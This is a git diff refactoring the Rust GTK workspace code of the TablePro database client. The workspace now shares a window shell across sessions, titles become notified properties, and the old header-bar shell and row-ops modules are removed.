@@ -553,9 +549,6 @@ pub(crate) enum WorkspaceInput {
     WorkspaceTabClosed(Uuid),
     /// Close the tab as its close button does, prompts and all.
     CloseWorkspaceTab(Uuid),
-    /// Each tab still asks about its own unsaved changes.
-    CloseOtherWorkspaceTabs(Uuid),
-    CloseWorkspaceTabsToRight(Uuid),
     /// The tab order, the selection or a tab's state changed, so the
     /// workspace is saved.
     WorkspaceTabsChanged,
@@ -623,7 +616,8 @@ pub(crate) enum WorkspaceInput {
         schema: Option<String>,
         table: Option<String>,
     },
-    ReopenClosedTab,
+    /// Ctrl+Shift+T reopens a tab this session closed last.
+    ReopenClosedTab(ClosedTabDescriptor),
     /// A browse tab's F5.
     RefreshTab(Uuid),
     /// Bring the tab to the front, for a notification about it.
@@ -636,6 +630,106 @@ pub(crate) enum WorkspaceInput {
     AssistantChanged,
 }
 
+/// The exports this workspace's grids start, listed in the shell's
+/// operations button once the shell holds the workspace, and reported in
+/// its toasts.
+fn export_ledger(
+    shell: &WorkspaceShell,
+    window: &adw::ApplicationWindow,
+    services: &AppServices,
+    context: &SessionContext,
+    input: &WorkspaceSender,
+) -> Rc<ExportLedger> {
+    let exports = ExportLedger::new(ExportLedgerInit {
+        tasks: services.tasks.clone(),
+        hold: context.hold.clone(),
+        reporter: ExportReporter::new(window, &shell.toast_overlay(), services.file_revealer.clone()),
+        inhibitor: window_inhibitor(window),
+    });
+    let ended = input.clone();
+    exports.on_ended(move |tab, outcome| ended.deliver(WorkspaceInput::ExportEnded { tab, outcome }));
+    exports
+}
+
+/// The tab view's registries, the factory that builds every tab into
+/// them, and the handle that saves and settles their changes.
+fn build_tabs(shell: &WorkspaceShell, init: TabsInit<'_>, input: &WorkspaceSender) -> WorkspaceTabParts {
+    let TabsInit {
+        key,
+        session,
+        services,
+        context,
+        drafts,
+        exports,
+        label,
+    } = init;
+    let engine = driver_display_name(context, &session.metadata().driver_id);
+    let assistant = assistant::access(services, key, context.active.clone(), engine);
+    let change_trackers = Rc::new(ChangeTrackerRegistry::default());
+    let structure_trackers = Rc::new(StructureTrackerRegistry::default());
+    let workspace_tabs: workspace_persistence::WorkspaceTabs = Rc::new(RefCell::new(HashMap::new()));
+    let index = Rc::new(tab_index::TabIndex::default());
+    let tab_view = shell.tab_view();
+    let window_tabs = Rc::new(window_tabs::WindowTabs::new(
+        workspace_tabs.clone(),
+        index.clone(),
+        &tab_view,
+    ));
+    let events = input.clone();
+    let workspace_handle = WorkspaceHandle::new(crate::workspace::WorkspaceDeps {
+        session: context.active.clone(),
+        tasks: context.tasks.clone(),
+        hold: context.hold.clone(),
+        history: Some(services.history()),
+        rows: change_trackers.clone(),
+        structures: structure_trackers.clone(),
+        directory: window_tabs,
+        events: Rc::new(move |event| events.deliver(WorkspaceInput::Workspace(event))),
+        engine: crate::workspace::EngineProfile::of(&context.drivers, &session.metadata().driver_id),
+    });
+    let saves = input.clone();
+    workspace_handle
+        .ledger()
+        .on_change(move |count| saves.deliver(WorkspaceInput::SavesInFlightChanged(count)));
+
+    let naming = Rc::new(Cell::new(table_naming::TableNaming::default()));
+    let factory = tab_factory::TabFactory::new(tab_factory::TabFactoryParts {
+        view: tab_view.clone(),
+        tabs: workspace_tabs.clone(),
+        index: index.clone(),
+        input: input.clone(),
+        shell: shell.downgrade(),
+        toasts: shell.toast_overlay().downgrade(),
+        context: context.clone(),
+        settings: services.settings.clone(),
+        storage: services.storage.clone(),
+        history: Some(services.history()),
+        drafts: drafts.clone(),
+        draft_scope: crate::workspace::WorkspaceFileName::for_key(key).draft_scope(),
+        change_trackers: change_trackers.clone(),
+        structure_trackers: structure_trackers.clone(),
+        exports: exports.clone(),
+        read_only: session.read_only(),
+        naming: naming.clone(),
+        label: label.clone(),
+        assistant: assistant.clone(),
+        snippets: services.snippets.clone(),
+    });
+    let tab_view_watch = workspace_tabs::connect_tab_view(&tab_view, &index, input);
+    WorkspaceTabParts {
+        tab_view,
+        index,
+        workspace_tabs,
+        change_trackers,
+        structure_trackers,
+        naming,
+        factory,
+        workspace_handle,
+        assistant,
+        tab_view_watch,
+    }
+}
+
 impl Workspace {
     pub(crate) fn new(init: WorkspaceInit) -> Self {
         let WorkspaceInit {
@@ -645,22 +739,27 @@ impl Workspace {
             context,
             window,
             close_guards,
+            shell,
         } = init;
         let workspace: Self = glib::Object::new();
         let imp = workspace.imp();
+        imp.shell.set(Some(&shell));
         let input = workspace.pump_inputs();
+        let _ = imp.sender.set(input.clone());
+        let _ = imp.key.set(key.clone());
         let context = session_slot(&context, &session);
-        let settings = services.settings.clone();
         let storage = services.storage.clone();
         let tasks = services.tasks.clone();
-        let history = services.history();
         let drafts = draft_writer(&storage, &tasks);
         let persistence = workspace_persistence::WorkspacePersistence::new(storage.workspaces().clone());
-        let exports = workspace.export_ledger(&window, &services, &context, &input);
+        let exports = export_ledger(&shell, &window, &services, &context, &input);
         let imports = import_ledger::ImportLedger::new(context.hold.clone(), window_inhibitor(&window));
         let data = data_model(&context, &session);
-        let sidebar = sidebar::build(&workspace, &input, &session, &tasks, data);
-        let tabs = workspace.build_tabs(
+        let _ = imp.data_model.set(data);
+        let sidebar = sidebar::build(&input, &session, &tasks, data);
+        let label = connection_label(&key, &services, &context);
+        let tabs = build_tabs(
+            &shell,
             TabsInit {
                 key: &key,
                 session: &session,
@@ -668,54 +767,50 @@ impl Workspace {
                 context: &context,
                 drafts: &drafts,
                 exports: &exports,
+                label: &label,
             },
             &input,
         );
-        let mut actions = workspace_actions::install(&window, &input);
-        let shell = shell::install(&workspace, &window, &tabs.factory, &services, &input);
-        actions.extend([shell::SHOW_SIDEBAR, assistant::SHOW_ASSISTANT]);
-        let history_gate = workspace_actions::spawn_history_gate(&window, history.availability());
-        let watches = SessionWatches::new(&session, &input);
+        let _ = imp.index.set(tabs.index.clone());
+        imp.factory.replace(Some(tabs.factory.clone()));
+        let assistant = assistant::install(&tabs, &input);
+        let _ = imp.assistant_pane.set(assistant.pane());
+        let watches = SessionWatches::new(&session, &services.saved_connections, &input);
         let draft_failures = draft_failure_watch(&drafts, &input);
         transaction_banner::connect_show(&imp.transaction_banner, &input);
 
-        let driver_id = session.metadata().driver_id.clone();
-        let driver_name = driver_display_name(&context, &driver_id);
         let model = WorkspaceModel {
-            // Before `input` and the tabs' parts move into the model.
-            assistant: assistant::install(&workspace, &window, &tabs, &input),
+            assistant,
+            driver_name: driver_display_name(&context, &session.metadata().driver_id),
+            driver_id: session.metadata().driver_id.clone(),
             context,
             key,
             input,
             this: workspace.downgrade(),
             window: window.downgrade(),
-            settings,
+            shell: shell.downgrade(),
+            settings: services.settings.clone(),
             storage,
             tasks,
-            history,
+            history: services.history(),
             drafts,
-            window_title: imp.window_title.get(),
-            sidebar_title: imp.sidebar_title.get(),
-            shell,
-            history_gate,
-            actions,
+            saved_connections: services.saved_connections.clone(),
+            label,
             sidebar,
             catalog_schemas: Arc::from([]),
             sidebar_read: 0,
             all_schemas_listed: false,
-            toast_overlay: imp.toast_overlay.get(),
             reconnect_banner: imp.reconnect_banner.get(),
             transaction_banner: imp.transaction_banner.get(),
             catalog_banner: imp.catalog_banner.get(),
             keys: (data == DataModel::KeyValue).then(|| sidebar::KeySidebar::new(imp.key_limit_banner.get())),
             layout_banner: imp.layout_banner.get(),
-            row_op_spinner: imp.row_op_spinner.get(),
-            table_search: imp.table_search.get(),
             ssh: services.ssh(),
             file_revealer: services.file_revealer.clone(),
             reviewing_host_key: false,
             tab_view: tabs.tab_view,
             index: tabs.index,
+            tab_view_watch: Some(tabs.tab_view_watch),
             factory: tabs.factory,
             naming: tabs.naming,
             workspace_tabs: tabs.workspace_tabs,
@@ -725,23 +820,29 @@ impl Workspace {
             close_guards,
             exports: exports.clone(),
             imports: imports.clone(),
-            reported_dirty: Cell::new(None),
             history_dialog: None,
             saved_queries_dialog: None,
             import_dialog: None,
-            driver_id,
-            driver_name,
             workspace: persistence,
-            closed_tabs_stack: Rc::new(RefCell::new(VecDeque::with_capacity(CLOSED_TABS_CAPACITY))),
             _watches: watches,
             _draft_failures: draft_failures,
         };
-        imp.model.replace(Some(model));
-        workspace.register_close_blocker(exports);
-        workspace.register_close_blocker(imports);
+        workspace.hold(model, [exports, imports]);
         workspace
     }
 
+    /// Hold the model, and have every close of the window ask the
+    /// `blockers` first. The session is named before the shell holds it,
+    /// which titles its row and the header bars from these.
+    fn hold(&self, model: WorkspaceModel, blockers: [Rc<dyn CloseBlocker>; 2]) {
+        model.refresh_title();
+        model.refresh_assistant();
+        self.imp().model.replace(Some(model));
+        for blocker in blockers {
+            self.register_close_blocker(blocker);
+        }
+    }
+
     fn pump_inputs(&self) -> WorkspaceSender {
         let (input, receiver) = crate::runtime::input_queue::<WorkspaceInput>();
         self.imp().pump.replace(Some(crate::runtime::pump_inputs(
@@ -752,119 +853,84 @@ impl Workspace {
         input
     }
 
-    /// The exports this workspace's grids start, shown in the header's
-    /// operations button and reported in its toasts.
-    fn export_ledger(
-        &self,
-        window: &adw::ApplicationWindow,
-        services: &AppServices,
-        context: &SessionContext,
-        input: &WorkspaceSender,
-    ) -> Rc<ExportLedger> {
-        let imp = self.imp();
-        let exports = ExportLedger::new(ExportLedgerInit {
-            tasks: services.tasks.clone(),
-            hold: context.hold.clone(),
-            reporter: ExportReporter::new(window, &imp.toast_overlay.get(), services.file_revealer.clone()),
-            inhibitor: window_inhibitor(window),
-        });
-        imp.export_operations_button.bind(&exports.jobs());
-        let ended = input.clone();
-        exports.on_ended(move |tab, outcome| ended.deliver(WorkspaceInput::ExportEnded { tab, outcome }));
-        exports
-    }
-
-    /// The tab view's registries, the factory that builds every tab into
-    /// them, and the handle that saves and settles their changes.
-    fn build_tabs(&self, init: TabsInit<'_>, input: &WorkspaceSender) -> WorkspaceTabParts {
-        let TabsInit {
-            key,
-            session,
-            services,
-            context,
-            drafts,
-            exports,
-        } = init;
-        let engine = driver_display_name(context, &session.metadata().driver_id);
-        let assistant = assistant::access(services, key, context.active.clone(), engine);
-        let change_trackers = Rc::new(ChangeTrackerRegistry::default());
-        let structure_trackers = Rc::new(StructureTrackerRegistry::default());
-        let workspace_tabs: workspace_persistence::WorkspaceTabs = Rc::new(RefCell::new(HashMap::new()));
-        let index = Rc::new(tab_index::TabIndex::default());
-        let tab_view = self.imp().tab_view.get();
-        let window_tabs = Rc::new(window_tabs::WindowTabs::new(
-            workspace_tabs.clone(),
-            index.clone(),
-            &tab_view,
-        ));
-        let events = input.clone();
-        let workspace_handle = WorkspaceHandle::new(crate::workspace::WorkspaceDeps {
-            session: context.active.clone(),
-            tasks: context.tasks.clone(),
-            hold: context.hold.clone(),
-            history: Some(services.history()),
-            rows: change_trackers.clone(),
-            structures: structure_trackers.clone(),
-            directory: window_tabs,
-            events: Rc::new(move |event| events.deliver(WorkspaceInput::Workspace(event))),
-            engine: crate::workspace::EngineProfile::of(&context.drivers, &session.metadata().driver_id),
-        });
-        let saves = input.clone();
-        workspace_handle
-            .ledger()
-            .on_change(move |count| saves.deliver(WorkspaceInput::SavesInFlightChanged(count)));
-
-        let naming = Rc::new(Cell::new(table_naming::TableNaming::default()));
-        let factory = tab_factory::TabFactory::new(tab_factory::TabFactoryParts {
-            view: tab_view.clone(),
-            tabs: workspace_tabs.clone(),
-            index: index.clone(),
-            input: input.clone(),
-            toasts: self.imp().toast_overlay.downgrade(),
-            context: context.clone(),
-            settings: services.settings.clone(),
-            storage: services.storage.clone(),
-            history: Some(services.history()),
-            drafts: drafts.clone(),
-            draft_scope: crate::workspace::WorkspaceFileName::for_key(key).draft_scope(),
-            change_trackers: change_trackers.clone(),
-            structure_trackers: structure_trackers.clone(),
-            exports: exports.clone(),
-            read_only: session.read_only(),
-            naming: naming.clone(),
-            assistant: assistant.clone(),
-            snippets: services.snippets.clone(),
-        });
-        workspace_tabs::connect_tab_view(&tab_view, &index, input);
-        WorkspaceTabParts {
-            tab_view,
-            index,
-            workspace_tabs,
-            change_trackers,
-            structure_trackers,
-            naming,
-            factory,
-            workspace_handle,
-            assistant,
-        }
-    }
-
     /// Show the session: its tables, the empty tab area, and the tabs
     /// saved for it. Called once the window listens for the
-    /// workspace's signals, so it hears the first title.
+    /// workspace's signals.
     pub(crate) fn start(&self) {
         self.with_model(WorkspaceModel::open);
     }
 
-    /// Where the window shows its toasts while it shows this workspace:
-    /// under the header bars, inside the tab overview.
-    pub(crate) fn toast_overlay(&self) -> adw::ToastOverlay {
-        self.imp().toast_overlay.get()
+    /// The key the session is open under.
+    pub(crate) fn key(&self) -> Option<SessionKey> {
+        self.imp().key.get().cloned()
+    }
+
+    /// What the session's engine holds, which names the page with no
+    /// tab open.
+    pub(crate) fn data_model(&self) -> Option<DataModel> {
+        self.imp().data_model.get().copied()
+    }
+
+    /// The tab `page` shows, when it is one of this session's. Read from
+    /// the index, so it answers while the workspace handles its input.
+    pub(crate) fn tab_id(&self, page: &adw::TabPage) -> Option<Uuid> {
+        self.imp().index.get()?.id_of(page)
+    }
+
+    /// Whether the session has a tab open.
+    pub(super) fn has_tabs(&self) -> bool {
+        self.imp().index.get().is_some_and(|index| !index.is_empty())
+    }
+
+    /// A page of one of the session's tabs: the one in front if it is,
+    /// else the one the user left the session on, else its first.
+    pub(super) fn some_page(&self) -> Option<adw::TabPage> {
+        let index = self.imp().index.get()?;
+        let view = self.imp().shell.upgrade()?.tab_view();
+        view.selected_page()
+            .filter(|page| index.id_of(page).is_some())
+            .or_else(|| index.last_selected().and_then(|id| index.page_of(id)))
+            .or_else(|| index.first_in(&view))
+    }
+
+    /// What builds the session's tabs, while the session is open.
+    fn tab_factory(&self) -> Option<Rc<tab_factory::TabFactory>> {
+        self.imp().factory.borrow().clone()
     }
 
-    /// What the workspace's actions, tabs and background work send it.
-    pub(crate) fn input(&self) -> Option<WorkspaceSender> {
-        self.read(|model| model.input.clone())
+    /// The session's list of tables, which the connection tree shows
+    /// under the session's connection.
+    pub(super) fn sidebar_view(&self) -> Option<sidebar::SidebarView> {
+        self.read(|model| model.sidebar.clone())
+    }
+
+    /// The session's assistant, which the shell shows while the session
+    /// is in front.
+    pub(super) fn assistant_pane(&self) -> Option<crate::ui::assistant::AssistantPane> {
+        self.imp().assistant_pane.get().cloned()
+    }
+
+    /// Whether the workspace last said it has something to lose.
+    pub(crate) fn is_dirty(&self) -> bool {
+        self.imp().dirty.get()
+    }
+
+    /// The handle a close prompt asks, once a value still typed in a
+    /// cell counts as the unsaved change it is.
+    pub(crate) fn prompt_handle(&self) -> Option<WorkspaceHandle> {
+        self.commit_cell_edits();
+        self.handle()
+    }
+
+    /// Whether a save of the workspace's is still being written.
+    pub(crate) fn is_saving(&self) -> bool {
+        self.imp().saving.get()
+    }
+
+    /// What the window's actions, the shell, the tabs and background
+    /// work send the workspace, whatever it is busy with.
+    pub(crate) fn sender(&self) -> Option<WorkspaceSender> {
+        self.imp().sender.get().cloned()
     }
 
     /// The saves and the close prompts' view of the tabs.
@@ -885,12 +951,6 @@ impl Workspace {
         self.read(|model| model.exports.clone())
     }
 
-    /// The pending row changes of table tab `tab`.
-    #[cfg(test)]
-    pub(crate) fn row_tracker(&self, tab: Uuid) -> Option<crate::services::tab_tracker_handle::TabTrackerHandle> {
-        self.read(|model| model.change_trackers.get(tab)).flatten()
-    }
-
     /// Have every close of the window ask about `blocker`'s work first.
     pub(crate) fn register_close_blocker(&self, blocker: Rc<dyn CloseBlocker>) {
         self.with_model(|model| model.workspace_handle.register_close_blocker(blocker));
@@ -912,9 +972,14 @@ impl Workspace {
 
     /// Stop the tabs, their reads and the watchers, take the
     /// workspace's actions off the window and drop what it holds. Any
-    /// reply still on its way is dropped with the input queue.
-    pub(crate) fn shutdown(&self) {
+    /// reply still on its way is dropped with the input queue. With
+    /// `close_pages` its pages leave the shared tab view too, for a
+    /// window that keeps its other sessions; a window that closes whole
+    /// lets the view go with its shell, so no session sees another's page
+    /// come forward as it goes.
+    pub(crate) fn shutdown(&self, close_pages: bool) {
         let imp = self.imp();
+        imp.factory.take();
         if let Some(pump) = imp.pump.take() {
             pump.abort();
         }
@@ -926,7 +991,7 @@ impl Workspace {
             }
         };
         if let Some(model) = model {
-            model.shutdown();
+            model.shutdown(close_pages);
         }
     }
 
@@ -948,14 +1013,6 @@ impl Workspace {
         )
     }
 
-    pub(crate) fn connect_title_changed<F: Fn(&Self, String) + 'static>(&self, f: F) -> glib::SignalHandlerId {
-        self.connect_closure(
-            "title-changed",
-            false,
-            glib::closure_local!(move |workspace: &Self, title: String| f(workspace, title)),
-        )
-    }
-
     fn handle_input(&self, message: WorkspaceInput) {
         self.with_model(|model| model.update(message));
     }
@@ -971,6 +1028,15 @@ impl Workspace {
     }
 }
 
+/// Replace `cell`'s text, saying whether it changed.
+fn replace_text(cell: &RefCell<String>, text: &str) -> bool {
+    if *cell.borrow() == text {
+        return false;
+    }
+    cell.replace(text.to_owned());
+    true
+}
+
 impl WorkspaceModel {
     /// The window this workspace is in, for dialogs to sit over.
     pub(super) fn window(&self) -> Option<adw::ApplicationWindow> {
@@ -985,38 +1051,58 @@ impl WorkspaceModel {
             .or_else(|| self.this.upgrade().map(Cast::upcast))
     }
 
+    /// Whether the shell has this session in front.
+    pub(super) fn is_front(&self) -> bool {
+        let front = self.shell.upgrade().and_then(|shell| shell.front());
+        front.is_some_and(|front| Some(front) == self.this.upgrade())
+    }
+
     /// Show the session it was built for: the sidebar, the empty tab
     /// area, and the tabs saved for it.
     fn open(&mut self) {
         self.reconnect_banner.set_revealed(false);
-        self.table_search.set_text("");
         tracing::info!(driver = %self.driver_id, "workspace ready");
         self.open_sidebar();
-        self.refresh_window_title();
+        self.refresh_title();
         self.restore_workspace_tabs(self.key.clone());
         self.refresh_unsaved();
     }
 
-    /// The window is named after the tab in front of the user and the
-    /// connection; the sidebar's header names the connection and its
-    /// driver.
-    pub(super) fn refresh_window_title(&self) {
-        let metadata = self.context.active.metadata();
-        let name = metadata.as_ref().map_or("", |metadata| metadata.name.as_str());
-        let active = self.selected_workspace_tab_id().and_then(|id| self.tab_title(id));
+    /// Name the session after the tab it was left on and the connection,
+    /// for the header bars and the window's title while it is in front.
+    pub(super) fn refresh_title(&self) {
+        let Some(workspace) = self.this.upgrade() else {
+            return;
+        };
+        let imp = workspace.imp();
+        let name = self.label.name();
+        let active = self.index.last_selected().and_then(|id| self.tab_title(id));
         let safe_mode = self
             .context
             .active
             .get()
             .map_or_else(Default::default, |session| session.safe_mode());
-        let title = window_title::resolve_window_title(active.as_ref(), name, &self.driver_name, safe_mode);
-        self.window_title.set_title(&title.heading);
-        self.window_title.set_subtitle(&title.subtitle);
-        self.sidebar_title.set_title(name);
-        self.sidebar_title.set_subtitle(&self.driver_name);
-        self.shell.show_connection_icon(&self.key);
-        if let Some(workspace) = self.this.upgrade() {
-            workspace.emit_by_name::<()>("title-changed", &[&title.window]);
+        let title = window_title::resolve_window_title(active.as_ref(), &name, &self.driver_name, safe_mode);
+        if replace_text(&imp.title, &title.heading) {
+            workspace.notify_title();
+        }
+        if replace_text(&imp.subtitle, &title.subtitle) {
+            workspace.notify_subtitle();
+        }
+        if replace_text(&imp.window_title, &title.window) {
+            workspace.notify_window_title();
+        }
+        if replace_text(&imp.connection_name, &name) {
+            workspace.notify_connection_name();
+        }
+        let icon = match &self.key {
+            SessionKey::Saved(id) => self.saved_connections.get(*id).and_then(|saved| saved.icon),
+            SessionKey::File(_) => None,
+        }
+        .map(|icon| crate::ui::icons::connection_icon(icon).to_owned());
+        if *imp.icon_name.borrow() != icon {
+            imp.icon_name.replace(icon);
+            workspace.notify_icon_name();
         }
     }
 
@@ -1032,10 +1118,10 @@ impl WorkspaceModel {
             return;
         };
         if let Some(tab) = self.workspace_tabs.borrow().get(&id) {
-            apply_tab_title(tab.page(), &title);
+            tab_title::apply_tab_title(tab.page(), &title, &self.label);
         }
-        if self.selected_workspace_tab_id() == Some(id) {
-            self.refresh_window_title();
+        if self.index.last_selected() == Some(id) {
+            self.refresh_title();
         }
         self.refresh_transaction_banner();
     }
@@ -1046,21 +1132,40 @@ impl WorkspaceModel {
         if self.naming.replace(naming) == naming {
             return;
         }
+        self.retitle_tabs();
+    }
+
+    /// Title every tab again when another session's tab comes into the
+    /// bar beside this one's, or the last one leaves.
+    fn on_shares_bar(&self) {
+        let (Some(shell), Some(this)) = (self.shell.upgrade(), self.this.upgrade()) else {
+            return;
+        };
+        if self.label.set_shares_bar(shell.others_have_tabs(&this)) {
+            self.retitle_tabs();
+        }
+    }
+
+    /// A rename, an icon or a policy changed, perhaps this connection's.
+    fn on_saved_connections_changed(&self) {
+        self.retitle_tabs();
+        self.refresh_assistant();
+    }
+
+    fn retitle_tabs(&self) {
         let ids: Vec<Uuid> = self.workspace_tabs.borrow().keys().copied().collect();
         for id in ids {
             self.retitle_tab(id);
         }
-        self.refresh_window_title();
+        self.refresh_title();
     }
 
-    fn shutdown(mut self) {
-        self.history_gate.abort();
+    fn shutdown(mut self, close_pages: bool) {
         self.assistant.shutdown();
         if let Some(keys) = self.keys.as_mut() {
             keys.stop_listing();
         }
         self.sidebar.shutdown();
-        self.shell.release();
         // Their entries name this session's tables and queries.
         if let Some(dialog) = self.history_dialog.take() {
             close_if_presented(dialog.upcast_ref());
@@ -1071,12 +1176,11 @@ impl WorkspaceModel {
         if let Some(dialog) = self.import_dialog.take() {
             close_if_presented(dialog.model().dialog());
         }
-        if let Some(window) = self.window() {
-            for action in &self.actions {
-                window.remove_action(action);
-            }
-        }
+        let pages = if close_pages { self.index.pages() } else { Vec::new() };
         self.close_tabs();
+        if let Some(watch) = self.tab_view_watch.take() {
+            watch.release(pages);
+        }
         // The close asked about them already; one started since has no
         // window left to finish in.
         self.exports.shut_down();
@@ -1132,8 +1236,6 @@ impl WorkspaceModel {
             WorkspaceInput::ShowTransactionTab => self.show_transaction_tab(),
             WorkspaceInput::WorkspaceTabClosed(id) => self.close_workspace_tab_by_id(id),
             WorkspaceInput::CloseWorkspaceTab(id) => self.close_workspace_tab(id),
-            WorkspaceInput::CloseOtherWorkspaceTabs(id) => self.close_other_workspace_tabs(id),
-            WorkspaceInput::CloseWorkspaceTabsToRight(id) => self.close_workspace_tabs_to_right(id),
             WorkspaceInput::CloseActiveWorkspaceTab => self.close_active_workspace_tab(),
             WorkspaceInput::ShowAlert { title, body } => self.show_error_alert(&title, &body),
             WorkspaceInput::ShowToast(msg) => self.show_toast(&msg),
@@ -1162,11 +1264,9 @@ impl WorkspaceModel {
             WorkspaceInput::EditorTabFileChanged(id) => self.on_editor_tab_file_changed(id),
             WorkspaceInput::WorkspaceLoaded(loaded) => self.on_workspace_loaded(loaded),
             WorkspaceInput::ResetWorkspaceLayout => self.on_reset_workspace_layout(),
-            WorkspaceInput::SafeModeChanged => self.refresh_window_title(),
-            WorkspaceInput::SavedConnectionsChanged => {
-                self.refresh_window_title();
-                self.refresh_assistant();
-            }
+            WorkspaceInput::SafeModeChanged => self.refresh_title(),
+            WorkspaceInput::SharesBar => self.on_shares_bar(),
+            WorkspaceInput::SavedConnectionsChanged => self.on_saved_connections_changed(),
             WorkspaceInput::WorkspaceLayoutReset(outcome) => self.on_workspace_layout_reset(outcome),
             WorkspaceInput::DraftsNotSaved => self.show_toast(&crate::i18n::gettext(
                 "Editor text could not be saved to disk, so it may not come back after TablePro restarts.",
@@ -1190,7 +1290,7 @@ impl WorkspaceModel {
             WorkspaceInput::ExportEnded { tab, outcome } => {
                 self.report_work(tab, crate::workspace::WorkKind::Export, outcome);
             }
-            WorkspaceInput::ReopenClosedTab => self.on_reopen_closed_tab(),
+            WorkspaceInput::ReopenClosedTab(tab) => self.on_reopen_closed_tab(tab),
             WorkspaceInput::RefreshTab(id) => self.on_refresh_tab(id),
             WorkspaceInput::FocusTab(id) => self.focus_tab(id),
             WorkspaceInput::AskAssistant(request) => self.on_ask_assistant(*request),
diff --git a/linux/crates/app/src/ui/workspace/row_ops.rs b/linux/crates/app/src/ui/workspace/row_ops.rs
deleted file mode 100644
index 06493739f9..0000000000
--- a/linux/crates/app/src/ui/workspace/row_ops.rs
+++ /dev/null
@@ -1,9 +0,0 @@
-use gtk4::prelude::*;
-
-use super::WorkspaceModel;
-
-impl WorkspaceModel {
-    pub(super) fn set_row_op_in_flight(&self, in_flight: bool) {
-        self.row_op_spinner.set_visible(in_flight);
-    }
-}
diff --git a/linux/crates/app/src/ui/workspace/saves.rs b/linux/crates/app/src/ui/workspace/saves.rs
index 7bfae67844..e8000e11d1 100644
--- a/linux/crates/app/src/ui/workspace/saves.rs
+++ b/linux/crates/app/src/ui/workspace/saves.rs
@@ -1,5 +1,6 @@
 use gtk4::glib;
 use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use uuid::Uuid;
 
@@ -65,9 +66,11 @@ impl WorkspaceModel {
         self.refresh_unsaved();
     }
 
+    /// The window's spinner and its logout inhibitor read whether any
+    /// session is saving, so it is set before they hear.
     pub(super) fn on_saves_in_flight_changed(&mut self, count: usize) {
-        self.set_row_op_in_flight(count > 0);
         if let Some(workspace) = self.this.upgrade() {
+            workspace.imp().saving.set(count > 0);
             let count = u32::try_from(count).unwrap_or(u32::MAX);
             workspace.emit_by_name::<()>("saves-in-flight-changed", &[&count]);
         }
@@ -94,7 +97,7 @@ impl WorkspaceModel {
                     .use_markup(false)
                     .timeout(4)
                     .build();
-                self.toast_overlay.add_toast(toast);
+                self.add_toast(toast);
                 self.dispatch_to_tab(tab, browse_tab::SaveInput::SaveCommitted(origins));
             }
             (WriteKind::RowChanges, SaveOutcome::RolledBack(cause)) => {
diff --git a/linux/crates/app/src/ui/workspace/session_watches.rs b/linux/crates/app/src/ui/workspace/session_watches.rs
index cd55ee7ef9..56644f321b 100644
--- a/linux/crates/app/src/ui/workspace/session_watches.rs
+++ b/linux/crates/app/src/ui/workspace/session_watches.rs
@@ -1,22 +1,27 @@
 use std::sync::Arc;
 
+use gtk4::prelude::*;
 use tablepro_session::Session;
 use tablepro_session::runtime::WatchForwarder;
 
 use super::{WorkspaceInput, WorkspaceSender, sidebar};
 use crate::runtime::DeliverInput;
+use crate::services::saved_connection_list::SavedConnectionList;
+use crate::ui::handler_guard::HandlerGuard;
 
-/// Feed the reconnect banner and the sidebar, and stop with the
-/// workspace, so nothing reads for a session it let go of.
+/// Feed the reconnect banner, the sidebar and the titles, and stop with
+/// the workspace, so nothing reads for a session it let go of.
 pub(super) struct SessionWatches {
     _health: WatchForwarder,
     _catalog: WatchForwarder,
     _reconnect: WatchForwarder,
     _link: WatchForwarder,
+    /// A rename, an icon or a policy picked while the session is open.
+    _saved: HandlerGuard,
 }
 
 impl SessionWatches {
-    pub(super) fn new(session: &Arc<Session>, input: &WorkspaceSender) -> Self {
+    pub(super) fn new(session: &Arc<Session>, saved: &SavedConnectionList, input: &WorkspaceSender) -> Self {
         let health_input = input.clone();
         let health = WatchForwarder::new(
             session.health(),
@@ -43,11 +48,16 @@ impl SessionWatches {
             move |_| relinked.deliver(WorkspaceInput::LinkChanged),
             sidebar::spawn_local,
         );
+        let changed = input.clone();
+        let model = saved.model();
+        let handler =
+            model.connect_items_changed(move |_, _, _, _| changed.deliver(WorkspaceInput::SavedConnectionsChanged));
         Self {
             _health: health,
             _catalog: catalog,
             _reconnect: reconnect,
             _link: link,
+            _saved: HandlerGuard::new(&model, handler),
         }
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/shell.rs b/linux/crates/app/src/ui/workspace/shell.rs
deleted file mode 100644
index 553bef1ebe..0000000000
--- a/linux/crates/app/src/ui/workspace/shell.rs
+++ /dev/null
@@ -1,583 +0,0 @@
-//! The workspace's two header bars, the sidebar's and the content's,
-//! and what they need beyond the template: the main menu, the button
-//! labels, the sidebar toggle, the overview's new tab and the saved
-//! connection's icon beside the title.
-
-use std::rc::Rc;
-
-use gtk4 as gtk;
-use gtk4::glib;
-use gtk4::prelude::*;
-use gtk4::subclass::prelude::*;
-use libadwaita as adw;
-use tablepro_session::SessionKey;
-
-use super::tab_factory::TabFactory;
-use super::{Workspace, WorkspaceInput, WorkspaceSender};
-use crate::application::AppServices;
-use crate::runtime::DeliverInput;
-use crate::services::saved_connection_list::SavedConnectionList;
-use crate::ui::a11y::describe_icon_button;
-use crate::ui::shell::{PRIMARY_MENU, TAB_OVERVIEW_MENU, app_menu, primary_menu_button};
-
-/// The window action that shows and hides the sidebar, as GNOME Files
-/// names it.
-pub(super) const SHOW_SIDEBAR: &str = "show-sidebar";
-
-/// What `install` connected outside the template, let go of at shutdown.
-pub(super) struct ShellHandles {
-    overview: glib::WeakRef<adw::TabOverview>,
-    create_tab: Option<glib::SignalHandlerId>,
-    sidebar_toggle: Option<gtk::ExpressionWatch>,
-    saved_connections: Rc<SavedConnectionList>,
-    /// Shows an icon picked while the window is open.
-    saved_connections_watch: Option<glib::SignalHandlerId>,
-    connection_icon: gtk::Image,
-}
-
-impl ShellHandles {
-    /// The icon the saved connection has now. A file opened without a
-    /// saved connection has none.
-    pub(super) fn show_connection_icon(&self, key: &SessionKey) {
-        let icon = match key {
-            SessionKey::Saved(id) => self.saved_connections.get(*id).and_then(|saved| saved.icon),
-            SessionKey::File(_) => None,
-        };
-        crate::ui::connection_appearance::show_icon(&self.connection_icon, icon);
-    }
-
-    pub(super) fn release(&mut self) {
-        if let Some(watch) = self.saved_connections_watch.take() {
-            self.saved_connections.model().disconnect(watch);
-        }
-        if let Some(watch) = self.sidebar_toggle.take() {
-            watch.unwatch();
-        }
-        if let Some(handler) = self.create_tab.take()
-            && let Some(overview) = self.overview.upgrade()
-        {
-            overview.disconnect(handler);
-        }
-    }
-}
-
-/// Run as the workspace is built, so its buttons are named before any
-/// window holds it.
-pub(super) fn describe_buttons(workspace: &Workspace) {
